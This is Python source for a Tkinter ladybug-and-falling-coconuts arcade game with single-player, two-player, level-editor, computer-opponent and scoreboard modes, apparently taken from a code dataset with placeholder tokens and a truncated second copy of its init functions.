120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef twoPlayerTimerFired(data):\n if data.winner == None:\n data.player1Y -= data.speed\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n drop2Player(data)\n data.player2Y -= data.speed\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n drop2Player(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n powerupTimerFired(data)\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef levelCreatedRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n if data.powerUpsEditor == True:\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 100, text='Total Lives: %d' % data.\n levelEditorLives, font='Arial 20 bold', fill='yellow')\n canvas.create_text(data.width / 2, 660, text=\n \"\"\"You lose a life for hitting a drop\n & don't get eaten!\"\"\",\n font='Arial 15 bold', fill='yellow')\n if data.levelEditorLives <= 0:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n if data.level > 1:\n winEditor(canvas, data)\n drawHome(canvas, data)\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\ndef difficultyKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\ndef difficultyTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\ndef difficultyRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawDifficulties(canvas, data)\n drawHome(canvas, data)\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\ndef hitAI2(data, distance):\n for coconut in data.coconutsAI2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= data.\n player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <= data.\n player2X + data.r):\n data.player2Y += 50\n data.coconutsAI2.remove(coconut)\n\n\ndef coconutShotAI(data):\n if data.winner == None:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 40 and abs(xPosition1 - 360) > 40:\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 8 == 0:\n xPosition2 = random.randint(0, 80)\n xPosition3 = random.randint(364, 385)\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(xPosition2, 0))\n data.coconutsAI1.append(Coconuts(xPosition3, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(xPosition2 + 410, 0))\n data.coconutsAI2.append(Coconuts(xPosition3 + 410, 0))\n addExtraCoconut(data)\n addPowerUpsAI(data)\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\ndef addPowerUpsAI(data):\n if data.time % 33 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 66 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = 